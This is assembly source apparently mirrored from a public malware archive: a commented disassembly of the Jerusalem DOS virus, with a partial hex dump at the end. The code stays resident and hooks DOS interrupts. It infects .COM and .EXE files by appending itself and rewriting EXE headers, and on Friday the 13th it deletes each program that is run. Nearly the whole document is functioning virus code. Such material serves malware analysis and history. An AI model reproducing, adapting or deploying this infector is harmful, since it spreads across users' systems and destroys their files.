mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-20 18:36:10 +00:00
790 lines
31 KiB
NASM
790 lines
31 KiB
NASM
CODE SEGMENT
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;The following is a disassembled, structured and commented listing of the
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;Jerusalem .COM and .EXE infector virus. All comments, structure inclusions
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;
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; INTERPATH
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; 4423 Cheeney Street
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; Santa Clara, CA 95054
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;-----------------------------------------------------------------------;
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; THE "JERUSALEM" VIRUS ;
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;-----------------------------------------------------------------------;
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;
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ORG 100H ;
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;
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;-----------------------------------------------------------------------;
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; JERUSALEM VIRUS ;
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;-----------------------------------------------------------------------;
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BEGIN_COM: ; COM FILES START HERE
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JMP CONTINUE ;
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;
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;-----------------------------------------------------------------------;
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; ;
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;-----------------------------------------------------------------------;
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A0103 DB 073H,055H
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MS_DOS DB 'MsDos' ;
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DB 000H,001H,015H,018H
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TIME_BOMB DB 0 ;WHEN == 1 THIS FILE GETS DELETED!
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DB 000H
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A0010 DB 000H
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A0011 DW 100H ;HOST SIZE (BEFORE INFECTION)
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OLD_08 DW 0FEA5H,0F000H ;OLD INT 08H VECTOR (CLOCK TIC)
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OLD_21 DW 1460H,024EH ;OLD INT 21H VECTOR
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OLD_24 DW 0556H,16A5H ;001B
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A_FLAG DW 7E48H ;???
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A0021 DB 000H,000H,000H,000H,000H,000H,000H
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DB 000H,000H,000H,000H
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A002C DW 0 ;A SEGMENT
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DB 000H,000H
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A0030 DB 000H
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A0031 DW 0178EH ;OLD ES VALUE
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A0033 DW 0080H ;
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;
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EXEC_BLOCK DW 0 ;ENV. SEG. ADDRESS ;0035
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DW 80H ;COMMAND LINE ADDRESS
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DW 178EH ;+4
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DW 005CH ;FCB #1 ADDRESS
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DW 178EH ;+8
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DW 006CH ;FCB #2 ADDRESS
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DW 0178EH ;+12
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;
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HOST_SP DW 0710H ;(TAKEN FROM EXE HEADER) 0043
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HOST_SS DW 347AH ;(AT TIME OF INFECTION)
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HOST_IP DW 00C5H ;
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HOST_CS DW 347AH ;
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;CHECKSUM NOT STORED, TO UNINFECT, YOU MUST CALC IT YOURSELF
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;
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A004B DW 0F010H ;
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A004D DB 82H ;
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A004E DB 0 ;
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EXE_HDR DB 1CH DUP (?) ;004F
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A006B DB 5 DUP (?) ;LAST 5 BYTES OF HOST
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HANDLE DW 0005H ;0070
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HOST_ATT DW 0020H ;0072
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HOST_DATE DW 0021H ;0074
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HOST_TIME DW 002DH ;0076
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BLOCK_SIZE DW 512 ;512 BYTES/BLOCK
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A007A DW 0010H
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HOST_SIZE DW 27C0H,0001H ;007C
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HOST_NAME DW 41D9H,9B28H ;POINTER TO HOST NAME
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COMMAND_COM DB 'COMMAND.COM'
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DB 1
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A0090 DB 0,0,0,0,0
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;-----------------------------------------------------------------------;
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; ;
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;-----------------------------------------------------------------------;
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CONTINUE: ;
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CLD ;
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MOV AH,0E0H ;DO A ???...
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INT 21H ;
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;
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CMP AH,0E0H ;
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JNC L01B5 ;
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CMP AH,3 ;
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JC L01B5 ;
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;
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MOV AH,0DDH ;
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MOV DI,offset BEGIN_COM ;DI = BEGINNING OF OUR (VIRUS) CODE
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MOV SI,0710H ;SI = SIZE OF OUR (VIRUS) CODE
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ADD SI,DI ;SI = BEGINNING OF HOST CODE
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MOV CX,CS:[DI+11H] ;CX = (SIZE OF HOST CODE?)
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INT 21H ;
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;
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L01B5: MOV AX,CS ;TWEEK CODE SEGMENT BY 100H
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ADD AX,10H ;
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MOV SS,AX ;SS = TWEEKed CS
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MOV SP,700H ;SP = END OF OUR CODE (VIRUS)
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;
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;TWEEK CS TO MAKE IT LOOK LIKE IP STARTS AT 0, NOT 100H BY DOING A RETF
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;
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PUSH AX ;JMP FAR CS+10H:IP-100H
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MOV AX,offset BEGIN_EXE - offset BEGIN_COM
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PUSH AX ;
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RETF ;
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;
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;---------------------------------------;
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ORG 0C5h ;
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;---------------------------------------;
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;
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BEGIN_EXE: ;EXE FILES START HERE
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CLD ;
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PUSH ES ;
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;
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MOV CS:[A0031],ES ;
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MOV CS:[EXEC_BLOCK+4],ES ;INIT EXEC_BLOCK SEG VALUES
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MOV CS:[EXEC_BLOCK+8],ES ;
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MOV CS:[EXEC_BLOCK+12],ES ;
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;
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MOV AX,ES ;TWEEK ES SAME AS CS ABOVE
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ADD AX,10H ;
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ADD CS:[HOST_CS],AX ; SAVE NEW ES VALUE
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ADD CS:[HOST_SS],AX ;
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;
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MOV AH,0E0H ;
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INT 21H ;
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;
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CMP AH,0E0H ;
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JNC L0106 ;00F1 7313
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;
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CMP AH,3 ;
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POP ES ;00F6
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MOV SS,CS:[HOST_SS] ;
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MOV SP,CS:[HOST_SP] ;
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JMP far CS:[HSOT_IP] ;
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;
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L0106: XOR AX,AX ;0106 33C0
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MOV ES,AX ;0108 8EC0
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MOV AX,ES:[03FC] ;010A 26A1FC03
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MOV CS:[A004B],AX ;010E 2EA34B00
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MOV AL,ES:[03FE] ;0112 26A0FE03
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MOV CS:[A004D],AL ;0116 2EA24D00
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MOV Word ptr ES:[03FC],A5F3 ;011A 26C706FC03F3A5
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MOV Byte ptr ES:[03FE],CB ;0121 26C606FE03CB
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POP AX ;0127 58
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ADD AX,10H ;0128 051000
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MOV ES,AX ;012B 8EC0
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PUSH CS ;012D 0E
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POP DS ;012E 1F
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MOV CX,710H ;SIZE OF VIRUS CODE
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SHR CX,1 ;0132 D1E9
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XOR SI,SI ;0134 33F6
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MOV DI,SI ;0136 8BFE
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PUSH ES ;0138 06
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MOV AX,0142 ;0139 B84201
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PUSH AX ;013C 50
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JMP 0000:03FC ;013D EAFC030000
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;
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MOV AX,CS ;0142 8CC8
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MOV SS,AX ;0144 8ED0
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MOV SP,700H ;0146 BC0007
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XOR AX,AX ;0149 33C0
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MOV DS,AX ;014B 8ED8
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MOV AX,CS:[A004B] ;014D 2EA14B00
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MOV [03FC],AX ;0151 A3FC03
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MOV AL,CS:[A004D] ;0154 2EA04D00
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MOV [03FE],AL ;0158 A2FE03
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MOV BX,SP ;015B 8BDC
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MOV CL,04 ;015D B104
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SHR BX,CL ;015F D3EB
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ADD BX,+10 ;0161 83C310
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MOV CS:[A0033],BX ;
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;
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MOV AH,4AH ;
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MOV ES,CS:[A0031] ;
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INT 21H ;MODIFY ALLOCATED MEMORY BLOCKS
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;
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MOV AX,3521 ;
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INT 21H ;GET VECTOR
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MOV CS:[OLD_21],BX ;
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MOV CS:[OLD_21+2],ES ;
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;
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PUSH CS ;0181 0E
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POP DS ;0182 1F
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MOV DX,offset NEW_INT_21 ;0183 BA5B02
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MOV AX,2521 ;
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INT 21H ;SAVE VECTOR
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;
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MOV ES,[A0031] ;018B 8E063100
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MOV ES,ES:[A002C] ;018F 268E062C00
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XOR DI,DI ;0194 33FF
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MOV CX,7FFFH ;0196 B9FF7F
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XOR AL,AL ;0199 32C0
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REPNE SCASB ;019C AE
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CMP ES:[DI],AL ;019D 263805
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LOOPNZ 019B ;01A0 E0F9
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MOV DX,DI ;01A2 8BD7
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ADD DX,+03 ;01A4 83C203
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MOV AX,4B00H ;LOAD AND EXECUTE A PROGRAM
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PUSH ES ;
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POP DS ;
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PUSH CS ;
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POP ES ;
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MOV BX,35H ;
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;
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PUSH DS ;01B1 ;
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PUSH ES ;
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PUSH AX ;
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PUSH BX ;
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PUSH CX ;
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PUSH DX ;
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;
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MOV AH,2AH ;
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INT 21H ;GET DATE
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;
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MOV Byte ptr CS:[TIME_BOMB],0 ;SET "DONT DIE"
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;
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CMP CX,1987 ;IF 1987...
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JE L01F7 ;...JUMP
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CMP AL,5 ;IF NOT FRIDAY...
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JNE L01D8 ;...JUMP
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CMP DL,0DH ;IF DATE IS NOT THE 13th...
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JNE L01D8 ;...JUMP
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INC Byte ptr CS:[TIME_BOMB] ;TIC THE BOMB COUNT
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JMP L01F7 ;
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;
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L01D8: MOV AX,3508H ;GET CLOCK TIMER VECTOR
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INT 21H ;GET VECTOR
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MOV CS:[OLD_08],BX ;
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MOV CS:[OLD_08],ES ;
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;
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PUSH CS ;DS=CS
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POP DS ;
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;
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MOV Word ptr [A_FLAG],7E90H ;
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;
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MOV AX,2508H ;SET NEW CLOCK TIC HANDLER
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MOV DX,offset NEW_08 ;
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INT 21H ;SET VECTOR
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;
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L01F7: POP DX ;
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POP CX ;
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POP BX ;
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POP AX ;
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POP ES ;
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POP DS ;
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PUSHF ;
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CALL far CS:[OLD_21] ;
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PUSH DS ;
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POP ES ;
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;
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MOV AH,49H ;
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INT 21H ;FREE ALLOCATED MEMORY
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;
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MOV AH,4DH ;
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INT 21H ;GET RETURN CODE OF A SUBPROCESS
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;
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;---------------------------------------;
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; THIS IS WHERE WE REMAIN RESIDENT ;
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;---------------------------------------;
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MOV AH,31H ;
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MOV DX,0600H ;020F ;
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MOV CL,04 ;
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SHR DX,CL ;
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ADD DX,10H ;
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INT 21H ;TERMINATE AND REMAIN RESIDENT
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;
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;---------------------------------------;
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NEW_24: XOR AL,AL ;021B ;CRITICAL ERROR HANDLER
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IRET ;
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;
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;-----------------------------------------------------------------------;
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; NEW INTERRUPT 08 (CLOCK TIC) HANDLER ;
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;-----------------------------------------------------------------------;
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NEW_08: CMP Word ptr CS:[A_FLAG],2 ;021E
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JNE N08_10 ;IF ... JUMP
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;
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PUSH AX ;
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PUSH BX ;
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PUSH CX ;
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PUSH DX ;
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PUSH BP ;
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MOV AX,0602H ;SCROLL UP TWO LINES
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MOV BH,87H ;INVERSE VIDEO ATTRIBUTE
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MOV CX,0505H ;UPPER LEFT CORNER
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MOV DX,1010H ;LOWER RIGHT CORNER
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INT 10H ;
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POP BP ;
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POP DX ;
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POP CX ;
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POP BX ;
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POP AX ;
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;
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N08_10: DEC Word ptr CS:[A_FLAG] ;ASSURE THAT THIS ONLY HAPPENS ONCE
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JNZ N08_90 ; BY RESETTING TO 1 IF EQUAL TO ZERO
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MOV Word ptr CS:[A_FLAG],1 ;
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;
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PUSH AX ;????? IS THIS SOME KIND OF DELAY ?????
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PUSH CX ;*** COMMENTS SOLICITED ****
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PUSH SI ;
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MOV CX,4001H ;
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REP LODSB ;
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POP SI ;
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POP CX ;
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POP AX ;
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;
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N08_90: JMP far CS:[OLD_08] ;PASS CONTROL TO OLD INT 08 VECTOR
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;
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;-----------------------------------------------------------------------;
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; NEW INTERRUPT 21 HANDLER ;
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;-----------------------------------------------------------------------;
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NEW_21: PUSHF ;025B ;
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CMP AH,0E0H ;IF A E0 REQUEST...
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JNE N21_10 ;
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MOV AX,300H ;...RETURN AX = 300H
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POPF ; (OUR PUSHF)
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IRET ;
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;
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N21_10: CMP AH,0DDH ;0266 ;
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JE N21_30 ;IF DDH...JUMP TO _30
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CMP AH,0DEH ;
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JE N21_40 ;IF DEH...JUMP TO _40
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CMP AX,4B00H ;IF SPAWN A PROG...
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JNE N21_20 ;
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JMP N21_50 ;...JUMP TO _50
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;
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N21_20: POPF ; (OUR PUSHF)
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JMP far CS:[OLD_21] ;ANY OTHER INT 21 GOES TO OLD VECTOR
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;
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N21_30: POP AX ;REMOVE OUR (PUSHF)
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POP AX ;?
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MOV AX,100H ;
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MOV CS:[000A],AX ;
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POP AX ;
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MOV CS:[000C],AX ;
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REP MOVSB ;
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POPF ; (OUR PUSHF)
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MOV AX,CS:[000F] ;
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JMP far CS:[000A] ;
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;
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N21_40: ADD SP,+06 ;0298 ;
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POPF ; (OUR PUSHF)
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MOV AX,CS ;
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MOV SS,AX ;
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MOV SP,710H ;SIZE OF VIRUS CODE
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PUSH ES ;
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PUSH ES ;02A4 06
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XOR DI,DI ;02A5 33FF
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PUSH CS ;02A7 0E
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POP ES ;02A8 07
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MOV CX,0010 ;02A9 B91000
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MOV SI,BX ;02AC 8BF3
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MOV DI,0021 ;02AE BF2100
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REP MOVSB ;02B2 A4
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MOV AX,DS ;02B3 8CD8
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MOV ES,AX ;02B5 8EC0
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MUL Word ptr CS:[A007A] ;02B7 2EF7267A00
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ADD AX,CS:[002B] ;02BC 2E03062B00
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ADC DX,+00 ;02C1 83D200
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DIV Word ptr CS:[A007A] ;02C4 2EF7367A00
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MOV DS,AX ;02C9 8ED8
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MOV SI,DX ;02CB 8BF2
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MOV DI,DX ;02CD 8BFA
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MOV BP,ES ;02CF 8CC5
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MOV BX,CS:[002F] ;02D1 2E8B1E2F00
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OR BX,BX ;02D6 0BDB
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JE 02ED ;02D8 7413
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MOV CX,8000 ;02DA B90080
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REP MOVSW ;02DE A5
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ADD AX,1000 ;02DF 050010
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ADD BP,1000 ;02E2 81C50010
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MOV DS,AX ;02E6 8ED8
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MOV ES,BP ;02E8 8EC5
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DEC BX ;02EA 4B
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JNE 02DA ;02EB 75ED
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MOV CX,CS:[002D] ;02ED 2E8B0E2D00
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REP MOVSB ;02F3 A4
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POP AX ;02F4 58
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PUSH AX ;02F5 50
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ADD AX,0010 ;02F6 051000
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ADD CS:[0029],AX ;02F9 2E01062900
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ADD CS:[0025],AX ;02FE 2E01062500
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MOV AX,CS:[0021] ;0303 2EA12100
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POP DS ;0307 1F
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POP ES ;0308 07
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MOV SS,CS:[0029] ;0309 2E8E162900
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MOV SP,CS:[0027] ;030E 2E8B262700
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JMP far CS:[0023] ;0313 2EFF2E2300
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;
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;---------------------------------------;
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; IT IS TIME FOR THIS FILE TO DIE... ;
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; THIS IS WHERE IT GETS DELETED ! ;
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;---------------------------------------;
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N21_5A: XOR CX,CX ;
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MOV AX,4301H ;
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INT 21H ;CHANGE FILE MODE (ATT=0)
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;
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MOV AH,41H ;
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INT 21H ;DELETE A FILE
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;
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MOV AX,4B00H ;LOAD AND EXECUTE A PROGRAM
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POPF ; (OUR PUSHF)
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JMP far CS:[OLD_21] ;
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;
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;---------------------------------------;
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; START INFECTION ;
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;---------------------------------------;
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N21_50: CMP Byte ptr CS:[TIME_BOMB],1 ;032C ;IF TIME TO DIE...
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JE N21_5A ;...JUMP
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;
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MOV Word ptr CS:[HANDLE],-1 ;ASSUME NOT OPEN
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MOV Word ptr CS:[A008F],0 ;
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MOV word ptr CS:[HOST_NAME],DX ;SAVE POINTER TO FILE NAME
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MOV word ptr CS:[HOST_NAME+2],DS ;
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;
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;INFECTION PROCESS OCCURS HERE ;
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PUSH AX ;034C 50
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PUSH BX ;034D 53
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PUSH CX ;034E 51
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PUSH DX ;034F 52
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PUSH SI ;0350 56
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PUSH DI ;0351 57
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PUSH DS ;0352 1E
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PUSH ES ;0353 06
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CLD ;0354 FC
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MOV DI,DX ;0355 8BFA
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XOR DL,DL ;0357 32D2
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CMP Byte ptr [DI+01],3A ;0359 807D013A
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JNE L0364 ;035D 7505
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MOV DL,[DI] ;035F 8A15
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AND DL,1F ;0361 80E21F
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;
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L0364: MOV AH,36 ;
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INT 21H ;GET DISK FREE SPACE
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CMP AX,-1 ;0368 3DFFFF
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JNE L0370 ;036B 7503
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L036D: JMP I_90 ;036D E97702
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;
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L0370: MUL BX ;0370 F7E3
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MUL CX ;0372 F7E1
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OR DX,DX ;0374 0BD2
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JNE L037D ;0376 7505
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CMP AX,710H ;0378 3D1007
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JC L036D ;037B 72F0
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L037D: MOV DX,word ptr CS:[HOST_NAME]
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PUSH DS ;0382 1E
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POP ES ;0383 07
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XOR AL,AL ;0384 32C0
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MOV CX,41 ;0386 B94100
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REPNE SCASB ;038A AE
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MOV SI,word ptr CS:[HOST_NAME]
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L0390: MOV AL,[SI] ;0390 8A04
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OR AL,AL ;0392 0AC0
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JE L03A4 ;0394 740E
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CMP AL,61 ;0396 3C61
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JC L03A1 ;0398 7207
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CMP AL,7A ;039A 3C7A
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JA L03A1 ;039C 7703
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SUB Byte ptr [SI],20 ;039E 802C20
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L03A1: INC SI ;03A1 46
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JMP L0390 ;03A2 EBEC
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;
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L03A4: MOV CX,000B ;03A4 B90B00
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SUB SI,CX ;03A7 2BF1
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MOV DI,offset COMMAND_COM ;03A9 BF8400
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PUSH CS ;03AC 0E
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POP ES ;03AD 07
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MOV CX,000B ;03AE B90B00
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REPE CMPSB ;03B2 A6
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JNE L03B8 ;03B3 7503
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JMP I_90 ;03B5 E92F02
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;
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L03B8: MOV AX,4300H ;
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|
INT 21H ;CHANGE FILE MODE
|
|
JC L03C4 ;03BD 7205
|
|
;
|
|
MOV CS:[HOST_ATT],CX ;03BF ;
|
|
L03C4: JC L03EB ;03C4 7225
|
|
XOR AL,AL ;03C6 32C0
|
|
MOV CS:[A004E],AL ;03C8 2EA24E00
|
|
PUSH DS ;03CC 1E
|
|
POP ES ;03CD 07
|
|
MOV DI,DX ;03CE 8BFA
|
|
MOV CX,41 ;03D0 B94100
|
|
REPNZ SCASB ;03D4 AE
|
|
CMP Byte ptr [DI-02],4D ;03D5 807DFE4D
|
|
JE L03E6 ;03D9 740B
|
|
CMP Byte ptr [DI-02],6D ;03DB 807DFE6D
|
|
JE L03E6 ;03DF 7405
|
|
INC Byte ptr CS:[A004E] ;03E1 2EFE064E00
|
|
;
|
|
L03E6: MOV AX,3D00H ;
|
|
INT 21H ;OPEN FILE READ ONLY
|
|
L03EB: JC L0447 ;
|
|
MOV CS:[HANDLE],AX ;03ED ;
|
|
;
|
|
MOV BX,AX ;MOVE TO END OF FILE -5
|
|
MOV AX,4202 ;
|
|
MOV CX,-1 ;FFFFFFFB
|
|
MOV DX,-5 ;
|
|
INT 21H ;MOVE FILE POINTER
|
|
JC L03EB ;
|
|
;
|
|
ADD AX,5 ;0400 ;
|
|
MOV CS:[A0011],AX ;?SAVE HOST SIZE
|
|
;
|
|
MOV CX,5 ;0407 ;READ LAST 5 BYTES OF HOST
|
|
MOV DX,offset A006B ;
|
|
MOV AX,CS ;
|
|
MOV DS,AX ;
|
|
MOV ES,AX ;
|
|
MOV AH,3FH ;
|
|
INT 21H ;READ FROM A FILE
|
|
;
|
|
MOV DI,DX ;0417 ;CHECK IF LAST 5 BYTES = 'MsDos'
|
|
MOV SI,offset MS_DOS ;
|
|
REPE CMPSB ;
|
|
JNE L0427 ;
|
|
MOV AH,3E ;IF == 'MsDos'...
|
|
INT 21H ;CLOSE FILE
|
|
JMP I_90 ;...PASS CONTROL TO DOS
|
|
;
|
|
L0427: MOV AX,3524 ;GET CRITICAL ERROR VECTOR
|
|
INT 21H ;GET VECTOR
|
|
MOV [OLD_24],BX ;
|
|
MOV [OLD_24+2],ES ;
|
|
;
|
|
MOV DX,offset NEW_24 ;
|
|
MOV AX,2524 ;SET CRITICAL ERROR VECTOR
|
|
INT 21H ;SET VECTOR
|
|
;
|
|
LDS DX,dword ptr [HOST_NAME];
|
|
XOR CX,CX ;
|
|
MOV AX,4301H ;
|
|
INT 21H ;CHANGE FILE MODE
|
|
L0447: JC L0484 ;
|
|
;
|
|
MOV BX,CS:[HANDLE] ;
|
|
MOV AH,3E ;
|
|
INT 21H ;CLOSE FILE
|
|
;
|
|
MOV Word ptr CS:[HANDLE],-1 ;CLEAR HANDLE
|
|
;
|
|
MOV AX,3D02 ;
|
|
INT 21H ;OPEN FILE R/W
|
|
JC L0484 ;
|
|
;
|
|
MOV CS:[HANDLE],AX ;0460 2EA37000
|
|
MOV AX,CS ;0464 8CC8
|
|
MOV DS,AX ;0466 8ED8
|
|
MOV ES,AX ;0468 8EC0
|
|
MOV BX,[HANDLE] ;046A 8B1E7000
|
|
MOV AX,5700 ;046E B80057
|
|
INT 21H ;GET/SET FILE DATE TIME
|
|
;
|
|
MOV [HOST_DATE],DX ;0473 89167400
|
|
MOV [HOST_TIME],CX ;0477 890E7600
|
|
MOV AX,4200 ;047B B80042
|
|
XOR CX,CX ;047E 33C9
|
|
MOV DX,CX ;0480 8BD1
|
|
INT 21H ;MOVE FILE POINTER
|
|
L0484: JC L04C3 ;0484 723D
|
|
;
|
|
CMP Byte ptr [A004E],00 ;0486 803E4E0000
|
|
JE L0490 ;048B 7403
|
|
JMP L04E6 ;048D EB57
|
|
;
|
|
NOP ;048F 90
|
|
L0490: MOV BX,1000 ;0490 BB0010
|
|
MOV AH,48 ;0493 B448
|
|
INT 21H ;ALLOCATE MEMORY
|
|
JNC L04A4 ;0497 730B
|
|
;
|
|
MOV AH,3E ;0499 B43E
|
|
MOV BX,[HANDLE] ;049B 8B1E7000
|
|
INT 21H ;CLOSE FILE (OBVIOUSLY)
|
|
JMP I_90 ;04A1 E94301
|
|
;
|
|
L04A4: INC Word ptr [A008F] ;04A4 FF068F00
|
|
MOV ES,AX ;04A8 8EC0
|
|
XOR SI,SI ;04AA 33F6
|
|
MOV DI,SI ;04AC 8BFE
|
|
MOV CX,710H ;04AE B91007
|
|
REP MOVSB ;04B2 A4
|
|
MOV DX,DI ;04B3 8BD7
|
|
MOV CX,[A0011] ;?GET HOST SIZE - YES
|
|
MOV BX,[70H] ;04B9 8B1E7000
|
|
PUSH ES ;04BD 06
|
|
POP DS ;04BE 1F
|
|
MOV AH,3FH ;04BF B43F
|
|
INT 21H ;READ FROM A FILE
|
|
L04C3: JC L04E1 ;04C3 721C
|
|
;
|
|
ADD DI,CX ;04C5 03F9
|
|
;
|
|
XOR CX,CX ;POINT TO BEGINNING OF FILE
|
|
MOV DX,CX ;
|
|
MOV AX,4200H ;
|
|
INT 21H ;MOVE FILE POINTER
|
|
;
|
|
MOV SI,offset MS_DOS ;04D0 BE0500
|
|
MOV CX,5 ;04D3 B90500
|
|
REP CS:MOVSB ;04D7 2EA4
|
|
MOV CX,DI ;04D9 8BCF
|
|
XOR DX,DX ;04DB 33D2
|
|
MOV AH,40H ;
|
|
INT 21H ;WRITE TO A FILE
|
|
L04E1: JC L04F0 ;
|
|
JMP L05A2 ;
|
|
;
|
|
;---------------------------------------;
|
|
; READ EXE HEADER ;
|
|
;---------------------------------------;
|
|
L04E6: MOV CX,1CH ;READ EXE HEADER INTO BUFFER
|
|
MOV DX,offset EXE_HDR ;
|
|
MOV AH,3F ;
|
|
INT 21H ;READ FILE
|
|
JC L053C ;
|
|
;
|
|
;---------------------------------------;
|
|
; TWEEK EXE HEADER TO INFECTED HSOT ;
|
|
;---------------------------------------;
|
|
MOV Word ptr [EXE_HDR+18],1984H ;SAVE HOST'S EXE HEADER INFO
|
|
MOV AX,[EXE_HDR+14] ; SS
|
|
MOV [HOST_SS],AX ;
|
|
MOV AX,[EXE_HDR+16] ; SP
|
|
MOV [HOST_SP],AX ;
|
|
MOV AX,[EXE_HDR+20] ; IP
|
|
MOV [HOST_IP],AX ;
|
|
MOV AX,[EXE_HDR+22] ; CS
|
|
MOV [HOST_CS],AX ;
|
|
MOV AX,[EXE_HDR+4] ; SIZE (IN 512 BLOCKS)
|
|
CMP Word ptr [EXE_HDR+2],0 ; SIZE MOD 512
|
|
JZ L051B ;IF FILE SIZE==0...JMP
|
|
DEC AX ;
|
|
L051B: MUL Word ptr [BLOCK_SIZE] ;
|
|
ADD AX,[EXE_HDR+2] ;
|
|
ADC DX,0 ;AX NOW = FILE SIZE
|
|
;
|
|
ADD AX,0FH ;MAKE SURE FILE SIZE IS PARA. BOUND
|
|
ADC DX,0 ;
|
|
AND AX,0FFF0H ;
|
|
MOV [HOST_SIZE],AX ;SAVE POINTER TO BEGINNING OF VIRUS
|
|
MOV [HOST_SIZE+2],DX ;
|
|
;
|
|
ADD AX,710H ;(SIZE OF VIRUS)
|
|
ADC DX,0 ;
|
|
L053C: JC L0578 ;IF > FFFFFFFF...JMP
|
|
DIV Word ptr [BLOCK_SIZE] ;
|
|
OR DX,DX ;
|
|
JE L0547 ;
|
|
INC AX ;
|
|
L0547: MOV [EXE_HDR+4],AX ;
|
|
MOV [EXE_HDR+2],DX ;
|
|
;---------------;
|
|
MOV AX,[HOST_SIZE] ;DX:AX = HOST SIZE
|
|
MOV DX,[HOST_SIZE+2] ;
|
|
DIV Word ptr [A007A] ;
|
|
SUB AX,[EXE_HEAD+8] ;SIZE OF EXE HDR
|
|
MOV [EXE_HDR+22],AX ;VALUE OF CS
|
|
MOV Word ptr [EXE_HDR+20],offset BEGIN_EXE ;VALUE OF IP
|
|
MOV [EXE_HDR+14],AX ;VALUE OF SS
|
|
MOV Word ptr [EXE_HDR+16],710H ;VALUE OF SP
|
|
;---------------;
|
|
XOR CX,CX ;POINT TO BEGINNING OF FILE (EXE HDR)
|
|
MOV DX,CX ;
|
|
MOV AX,4200H ;
|
|
INT 21H ;MOVE FILE POINTER
|
|
L0578: JC L0584 ;
|
|
;
|
|
;---------------------------------------;
|
|
; WRITE INFECTED EXE HEADER ;
|
|
;---------------------------------------;
|
|
MOV CX,1CH ;
|
|
MOV DX,offset EXE_HDR ;
|
|
MOV AH,40H ;
|
|
INT 21H ;WRITE TO A FILE
|
|
L0584: JC L0597 ;
|
|
CMP AX,CX ;
|
|
JNE L05A2 ;
|
|
;
|
|
MOV DX,[HOST_SIZE] ;POINT TO END OF FILE
|
|
MOV CX,[HOST_SIZE+2] ;
|
|
MOV AX,4200 ;
|
|
INT 21H ;MOVE FILE POINTER
|
|
L0597: JC L05A2 ;
|
|
;
|
|
;---------------------------------------;
|
|
; WRITE VIRUS CODE TO END OF HOST ;
|
|
;---------------------------------------;
|
|
XOR DX,DX ;
|
|
MOV CX,710H ;(SIZE OF VIRUS)
|
|
MOV AH,40H ;
|
|
INT 21H ;WRITE TO A FILE
|
|
;
|
|
L05A2: CMP Word ptr CS:[008F],0 ;IF...
|
|
JZ L05AE ;...SKIP
|
|
MOV AH,49H ;
|
|
INT 21H ;FREE ALLOCATED MEMORY
|
|
;
|
|
L05AE: CMP Word ptr CS:[HANDLE],-1 ;IF ...
|
|
JE I_90 ;...SKIP
|
|
;
|
|
MOV BX,CS:[HANDLE] ;RESTORE HOST'S DATE/TIME
|
|
MOV DX,CS:[HOST_DATE] ;
|
|
MOV CX,CS:[HOST_TIME] ;
|
|
MOV AX,5701H ;
|
|
INT 21H ;GET/SET FILE DATE/TIME
|
|
;
|
|
MOV AH,3EH ;
|
|
INT 21H ;CLOSE FILE
|
|
;
|
|
LDS DX,CS:[HOST_NAME] ;RESTORE HOST'S ATTRIBUTE
|
|
MOV CX,CS:[HOST_ATT] ;
|
|
MOV AX,4301H ;
|
|
INT 21H ;CHANGE FILE MODE
|
|
;
|
|
LDS DX,dword ptr CS:[OLD_24];RESTORE CRITICAL ERROR HANDLER
|
|
MOV AX,2524H ;
|
|
INT 21H ;SET VECTOR
|
|
;
|
|
I_90: POP ES ;
|
|
POP DS ;
|
|
POP DI ;
|
|
POP SI ;
|
|
POP DX ;
|
|
POP CX ;
|
|
POP BX ;
|
|
POP AX ;
|
|
POPF ; (OUR PUSHF)
|
|
JMP far CS:[OLD_21] ;PASS CONTROL TO DOS
|
|
;
|
|
;-----------------------------------------------------------------------;
|
|
; ;
|
|
;-----------------------------------------------------------------------;
|
|
;0100 E9 92 00 73 55 4D 73 44-6F 73 00 01 15 18 00 00 i..sUMsDos......
|
|
;0110 00 00 01 A5 FE 00 F0 60-14 4E 02 56 05 A5 16 48 ...%~.p`.N.V.%.H
|
|
;0120 7E 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ~...............
|
|
;0130 00 8E 17 80 00 00 00 80-00 8E 17 5C 00 8E 17 6C ...........\...l
|
|
;0140 00 8E 17 10 07 7A 34 C5-00 7A 34 10 F0 82 00 4D .....z4E.z4.p..M
|
|
;0150 5A D0 00 98 00 31 00 20-00 11 00 FF FF 5C 12 10 ZP...1. .....\..
|
|
;0160 07 84 19 C5 00 5C 12 20-00 00 00 C3 C3 C3 C3 C3 ...E.\. ...CCCCC
|
|
;0170 05 00 20 00 21 00 2D 00-00 02 10 00 C0 27 01 00 .. .!.-.....@'..
|
|
;0180 D9 41 28 9B 43 4F 4D 4D-41 4E 44 2E 43 4F 4D 01 YA(.COMMAND.COM.
|
|
;0190 00 00 00 00 00 FC B4 E0-CD 21 80 FC E0 73 16 80 .....|4`M!.|`s..
|
|
;01A0 FC 03 72 11 B4 DD BF 00-01 BE 10 07 03 F7 2E 8B |.r.4]?..>...w..
|
|
;01B0 8D 11 00 CD 21 8C C8 05-10 00 8E D0 BC 00 07 50 ...M!.H....P<..P
|
|
;01C0 B8 C5 00 50 CB FC 06 2E-8C 06 31 00 2E 8C 06 39 8E.PK|....1....9
|
|
;01D0 00 2E 8C 06 3D 00 2E 8C-06 41 00 8C C0 05 10 00 ....=....A..@...
|
|
;01E0 2E 01 06 49 00 2E 01 06-45 00 B4 E0 CD 21 80 FC ...I....E.4`M!.|
|
|
;01F0 E0 73 13 80 FC 03 07 2E-8E 16 45 00 2E 8B 26 43 `s..|.....E...&C
|
|
;0200 00 2E FF 2E 47 00 33 C0-8E C0 26 A1 FC 03 2E A3 ....G.3@.@&!|..#
|
|
;0210 4B 00 26 A0 FE 03 2E A2-4D 00 26 C7 06 FC 03 F3 K.& ~.."M.&G.|.s
|
|
;0220 A5 26 C6 06 FE 03 CB 58-05 10 00 8E C0 0E 1F B9 %&F.~.KX....@..9
|
|
;0230 10 07 D1 E9 33 F6 8B FE-06 B8 42 01 50 EA FC 03 ..Qi3v.~.8B.Pj|.
|
|
;0240 00 00 8C C8 8E D0 BC 00-07 33 C0 8E D8 2E A1 4B ...H.P<..3@.X.!K
|
|
;0250 00 A3 FC 03 2E A0 4D 00-A2 FE 03 8B DC B1 04 D3 .#|.. M."~..\1.S
|
|
;0260 EB 83 C3 10 2E 89 1E 33-00 B4 4A 2E 8E 06 31 00 k.C....3.4J...1.
|
|
;0270 CD 21 B8 21 35 CD 21 2E-89 1E 17 00 2E 8C 06 19 M!8!5M!.........
|
|
;0280 00 0E 1F BA 5B 02 B8 21-25 CD 21 8E 06 31 00 26 ...:[.8!%M!..1.&
|
|
;0290 8E 06 2C 00 33 FF B9 FF-7F 32 C0 F2 AE 26 38 05 ..,.3.9..2@r.&8.
|
|
